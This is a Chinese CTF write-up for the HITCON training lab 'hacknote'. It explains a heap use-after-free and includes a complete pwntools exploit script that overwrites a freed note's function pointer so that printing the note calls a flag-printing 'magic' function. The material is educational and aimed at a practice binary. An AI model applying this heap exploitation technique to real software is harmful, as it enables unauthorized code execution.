23R3F
Veritas501
在以上大佬的博客也学习到了很多,他们也有不同的见解和方法
lab10
0x01分析
checksec
kk@ubuntu:~/Desktop/black/others/hitcon/LAB/lab10$ checksec hacknote
[*] '/home/kk/Desktop/black/others/hitcon/LAB/lab10/hacknote'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
ida
int menu()
{
puts("----------------------");
puts(" HackNote ");
puts("----------------------");
puts(" 1. Add note ");
puts(" 2. Delete note ");
puts(" 3. Print note ");
puts(" 4. Exit ");
puts("----------------------");
return printf("Your choice :");
}
考察堆的uaf漏洞,程序具有增删查的功能
add_note

第一个malloc(8)用来存储函数指针。
第二个malloc(size)用来存储我们输入的content,且size没有限制。
del_note

free两个堆块后没有将指针设置为NULL,所以可以Use After Free
print_note

调用函数指针,打印出chunk内容。
magic
这道题直接给出了。。。

0x02利用思路
新建两个note
index 0: malloc(8)===>Ⅰ
malloc(size)===>Ⅱ(随意)
index 1: malloc(8)===>Ⅲ
malloc(size)===>Ⅳ(大于fastbin,可以丢出去)
free时,先free了content再free函数指针。再结合add_note,我们构造时需要chunk的第一块随意,第二块为原来用于存放函数指针的chunk
这样,先del_note(0) 再del_note(1)时
fastbin中 | 其他
Ⅲ:1 的函数指针 | Ⅳ:1的content
Ⅰ:0 的函数指针 | Ⅱ:0的content
所以此时再add_note,malloc(8)时会先用Ⅲ(此处存放puts函数指针),malloc(8)(此处为新note的content)用Ⅰ,我们可以填入magic函数,这样print_note(index 0)时,原本要调用的puts函数指针就被替换成了system,这样就可以cat flag啦!
0x03攻击exp
#!/usr/bin/env python
from pwn import *
HOST = " "
PORT = " "
context.log_level = "debug"
# p = remote(HOST, PORT)
p = process("./hacknote")
def add_note(size,content):
p.recvuntil(":")
p.sendline("1")
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.sendline(content)
def del_note(index):
p.recvuntil(":")
p.sendline("2")
p.recvuntil(":")
p.sendline(str(index))
def print_note(index):
p.recvuntil(":")
p.sendline("3")
p.recvuntil(":")
p.sendline(str(index))
magic = 0x08048986
# system = 0x8048506
add_note(0x1000,"aaaa") #index 0
add_note(0x1000,"aaaa") #index 1
del_note(0)
del_note(1)
add_note(8,p32(magic))
print_note(0)
p.interactive()
有人说这道题有问题喔....
网友评论